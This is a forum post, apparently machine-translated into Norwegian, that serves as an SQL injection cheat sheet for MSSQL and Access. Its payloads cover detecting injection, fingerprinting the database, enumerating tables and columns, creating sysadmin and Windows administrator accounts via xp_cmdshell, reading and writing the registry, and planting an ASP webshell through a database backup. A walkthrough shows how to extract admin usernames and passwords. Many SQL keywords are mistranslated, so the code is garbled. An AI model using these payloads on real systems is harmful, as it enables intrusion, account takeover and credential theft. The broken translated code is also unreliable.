Denne artikkelen er en speilartikkel om maskinoversettelse, vennligst klikk her for å hoppe til originalartikkelen.

Utsikt: 14167|Svare: 0

[Trygg kommunikasjon] SQL-injeksjon vanlige setninger

[Kopier lenke]
Publisert på 22.11.2014 17:17:21 | | |
1. Fastslå om det foreligger en injeksjon
; og 1=1
; og 1=2

2. Foreløpig vurdering av om det er mssql
; og bruker>0

3. Vurdere databasesystemet
; og (velg antall(*) fra sysobjects)>0 mssql
; og (velg antall(*) fra msysobjects)>0 tilgang

4. Injeksjonsparameteren er et tegn
'og [spørringskriterier] og ''='

5. Det finnes ingen filtrerte parametere under søket
'og [søkekriterier] og '%25'='

6. Gjett navnet på bordet
; og (velg antall(*) fra [tabellnavn])>0

7. Gjett feltet
; og (velg Count (feltnavn) fra tabellnavn)>0

8. Gjett lengden på rekorden i felten
; og (velg topp 1 len(feltnavn) fra tabellnavn)>0

9. (1) Gjett ASCII-verdien til feltet (tilgang)
; og (velg topp 1 ASC(midt(feltnavn, 1,1)) fra tabellnavn)>0

(2) Gjett ASCII-verdien til feltet (mssql)
; og (velg øverste 1 unicode(substring(feltnavn,1,1)) fra tabellnavn)>0

10. Testtillatelsesstruktur (mssql)
; og 1=(velg IS_SRVROLEMEMBER('sysadmin')); --
; og 1=(velg IS_SRVROLEMEMBER('serveradmin')); --
; og 1=(velg IS_SRVROLEMEMBER('setupadmin')); --
; og 1=(velg IS_SRVROLEMEMBER('securityadmin')); --
; og 1=(velg IS_SRVROLEMEMBER('diskadmin')); --
; og 1=(velg IS_SRVROLEMEMBER('bulkadmin')); --
; og 1=(velg IS_MEMBER('db_owner')); --

11. Legg til en konto for mssql og systemet
; executive master.dbo.sp_addlogin brukernavn; --
; exec master.dbo.sp_password null, brukernavn, passord; --
; exec master.dbo.sp_addsrvrolemember sysadmin-brukernavn; --
; exec master.dbo.xp_cmdshell 'nettbrukerbruker-passord /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'; --
; exec master.dbo.xp_cmdshell 'nettbrukerbruker-passord /add'; --
; exec master.dbo.xp_cmdshell 'Net LocalGroup Administrators brukernavn /Add'; --

12. (1) Gå gjennom katalogen
; Lag tabell-dirs (paths varchar(100), id int)
; sett inn dirs executive master.dbo.xp_dirtree 'c:\'
; og (velg topp 1 stier fra dirs)>0
; og (velg topp 1-stier fra dirs hvor stier ikke er i('stier hentet fra forrige steg'))>)

(2) Gå gjennom katalogen
; lag tabelltemperatur (id nvarchar(255), num1 nvarchar(255), num2 nvarchar(255), num3 nvarchar(255)); --
; sett inn midlertidig leder master.dbo.xp_availablemedia; -- Få alle strømstasjoner
; sett inn i temp(id) executive master.dbo.xp_subdirs 'c:\'; -- Få en liste over underkataloger
; sett inn i temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Hent katalogtrestrukturen for alle underkataloger
; sett inn i temp(id) executive master.dbo.xp_cmdshell 'type c:\web\index.asp'; -- Se innholdet i filen

13. Lagrede prosedyrer i mssql
xp_regenumvalues Registerrotnøkkel, barnenøkkel
; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' returnerer alle nøkkelverdier i flere postsett
xp_regread Rotnøkkel, barnenøkkel, nøkkel-verdi-navn
; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' returnerer verdien av set-nøkkelen
xp_regwrite Rotnøkkel, barnenøkkel, verdinavn, verditype, verdi
Det finnes to typer verdityper REG_SZ REG_DWORD for tegntyper, og for heltall
; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz', 'hello' til registeret
xp_regdeletevalue Rotnøkkel, undernøkkel, verdinavn
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName' for å fjerne en verdi
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' for å fjerne nøkkelen, inkludert alle verdier under den nøkkelen

14. MSSQL-backup lager en webshell
Bruksmodell
opprette tabell-cmd (STR-bilde);
sett inn i cmd(str)-verdier ('<% Dim oScript %>');
Backup databasemodell til disk='c:\l.asp';

15. MSSQL innebygde funksjoner
; og (velg @@version)>0 for å få versjonsnummeret til Windows
; og user_name()='dbo' for å avgjøre om den tilkoblede brukeren av det nåværende systemet er SA
; og (velg user_name())>0 Eksploderte de tilkoblede brukerne av det nåværende systemet
; og (velg db_name())>0 for å hente den nåværende tilkoblede databasen



MSSQL håndannotert databasebrudd

1. Eksponer det nåværende tabellnavnet og kolonnenavnet
Send inn "'having 1=1--" etter injeksjonspunktet for å få returmeldingen på engelsk, hvor du kan se et tabellnavn og et kolonnenavn. Send inn «group by the listname with the 1=1--» for å få et nytt kolonnenavn; Fortsett å sende inn "group by listen over den eksponerte tabellens navn, navnet på den eksponerte tabellen." Det andre kolonnenavnet har 1=1--", som gir deg et annet kolonnenavn. Forplikt på samme måte til siden ikke lenger returnerer feilmeldinger for å hente alle kolonnenavnene. Trivia: Voldelige tabellnavn og kolonnenavn brukes i kombinasjon med GROUP BY i SQL-setninger for å gjøre betingede vurderinger. Fordi setningen er ufullstendig, returnerer databasen en feilmelding og viser et tabellnavn og et kolonnenavn. Den grunnleggende metoden kan bare eksponere den nåværende tabellen i databasen, og hvis en tabell inneholder mange kolonnenavn, er det veldig vanskelig å bruke den grunnleggende metoden.

Først. Alle databasenavn er eksponert
Bruk setningen "and 0<>(select count(*) from master.dbo.sysdatabases der name>1 og dbid=[N])" for å eksponere vilkårlige tabellnavn og kolonnenavn i databasen, der "[N]" representerer den n-te tabellen i databasen.
Trinn 1: Etter å ha injisert punktet, send inn følgende setning: "and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)", fordi verdien av dbid er fra 1 til 5, som brukes av systemet, så brukeren må ha bygget det fra 6, og vi sendte inn navnet>1, navnefeltet er et tegntypefelt, og tallsammenligningen vil være feil, så etter innsending vil IE returnere følgende informasjon: "Microsoft OLE DB Provider for ODBC Drivers feil ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server] konverterer nvarchar-verdien 'Northwind' til datatype int kolonne. På denne måten eksponeres verdien av navnefeltet, det vil si at vi får et databasenavn "Northwind". Å endre verdien av "dbid" kan hente alle databasenavnene.

og 0<>(velg tell(*) fra master.dbo.sysdatabases hvor name>1 og dbid=[N])-- Endre N for å eksplodere alle databasenavn fra 6


For det andre. Eksponer alle tabellnavn i den angitte databasen
Etter å ha fått databasenavnet, må du nå hente alle tabellnavnene i biblioteket, sende inn følgende setning: "and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U')", her er tabellnavnet i masterdatabasen, og SQL-setningen til spørringen returnerer verdien av navnet, og sammenlign det med tallet 0, slik at verdien av navnet blir eksponert. Etter innsending ble navnet på bordet "'spt_monito" avslørt.
Deretter blir de andre tabellene eksponert, og følgende setning sendes inn: "and 0<>(select top 1 name from master.dbo.sysobjects hvor xtype='U' og navn ikke i('spt_monito'))", og en annen tabell kalt "cd512" eksponeres. Fil "og navn ikke i(' spt_monito',' CD512',..))" Du kan finne ut alle bordnavnene.

og 0<>(velg øverste 1-navn fra [spesifiser databasenavn].dbo.sysobjects hvor xtype='U')--
og 0<>(velg øverste 1-navn fra [spesifiser databasenavn].dbo.sysobjects hvor xtype='U' og navn ikke er i('[Eksplodert tabellnavn]'))--
og 0<>(velg øverste 1-navn fra [spesifiser databasenavn].dbo.sysobjects hvor xtype='U' og navn ikke er i('[Eksplosivt tabellnavn]', '[Eksplodert andre tabellnavn]')))--

4. Eksponer alle kolonnenavn i den angitte tabellen
og 0<>(velg tell(*) fra bbs.dbo.sysobjects hvor xtype='U' og name='admin' og uid>(str(id)))
Konverter ID-verdien til en tegntype og sammenlign den deretter med en heltallsverdi. ID-nummeret er ute. Verdien er: 949578421 navn='tabellnavn'

og 0<>(velg øverste 1-navn fra wutong.dbo.syscolumns hvor id=949578421)-- Et feltnavn i admin-tabellen eksponeres

Send inn på nytt og 0<>(velg navn topp 1 fra wutong.dbo.syscolumns hvor id=949578421 og navn ikke er i('adduser')))--
Fil "og navn ikke i(' spt_monito',' CD512',..))" Du kan finne alle feltnavnene i admin-tabellen.


og 0<>(velg tell(*) fra [spesifiser databasenavn].dbo.sysobjects hvor xtype='U' og name='[Tabellnavn på felt som skal eksploderes]' og uid>(str(id)))--ID-verdien til tabellnavnet til feltet som skal eksploderes.

og 0<>(velg øverste 1-navn fra [spesifiser databasenavn].dbo.syscolumns hvor id=eksplodert id-verdi)-- Navnet på et felt i eksploderende id-verditabellen

og 0<>(velg øverste 1-navn fra [spesifiser databasenavn].dbo.syscolumns hvor id=Eksplosiv id-verdi og navn ikke er i('[Eksplodert feltnavn]')))--



5. Les dataene i den angitte tabellen

og 0<(velg A_ID fra wutong.dbo.admin hvor A_UserID>1) – innholdet som brøt A_PWD

og 0<(velg [et felt som eksisterer] fra [spesifiser databasenavn].dbo.[tabellnavn til spørring] hvor [feltnavn for å eksplodere innhold]>1)--

og 0<(velg A_ID fra wutong.dbo.admin hvor A_PWD>1 og A_UserID='admin')-- Passordet til adminen er avslørt


og 0<(Velg Top 1 A_UserID FRA admin hvor A_ID<>1)-- Administratornavnet id<>1 (fuhao)

og 0<(Velg topp 1 A_UserID FRA admin hvor A_ID <>1 og A_UserID <> 'fuhao')-- Navnet på den andre administratoren <> ikke lik (tuiguang)

og 0<(Velg topp 1 A_UserID FRA admin hvor A_ID <>1 og A_UserID <> 'fuhao' og A_UserID <> 'tuiguang')--

Etter å ha kjent tabellnavnet og kolonnenavnet til databasen, kan du bruke "query-setningen" for å lese all informasjon i databasen. For eksempel, hvis du vil lese den n-te dataen i en kolonne i en tabell, kan du sende inn setningen: "og (Velg topp 1-kolonnenavn FRA tabellnavn hvor id=[N])>1" ([N] representerer den n-te dataen i kolonnen), og du kan kjenne ønsket data fra informasjonen som returneres av IE.






Foregående:Hvordan skjule en komprimert rar-fil i en jpg-fil
Neste:Samle "Harry Potter" 1~7 Ta det ut og del det Hvis du ikke liker det, ikke spray det
Ansvarsfraskrivelse:
All programvare, programmeringsmateriell eller artikler publisert av Code Farmer Network er kun for lærings- og forskningsformål; Innholdet ovenfor skal ikke brukes til kommersielle eller ulovlige formål, ellers skal brukerne bære alle konsekvenser. Informasjonen på dette nettstedet kommer fra Internett, og opphavsrettstvister har ingenting med dette nettstedet å gjøre. Du må fullstendig slette innholdet ovenfor fra datamaskinen din innen 24 timer etter nedlasting. Hvis du liker programmet, vennligst støtt ekte programvare, kjøp registrering, og få bedre ekte tjenester. Hvis det foreligger noen krenkelse, vennligst kontakt oss på e-post.

Mail To:help@itsvse.com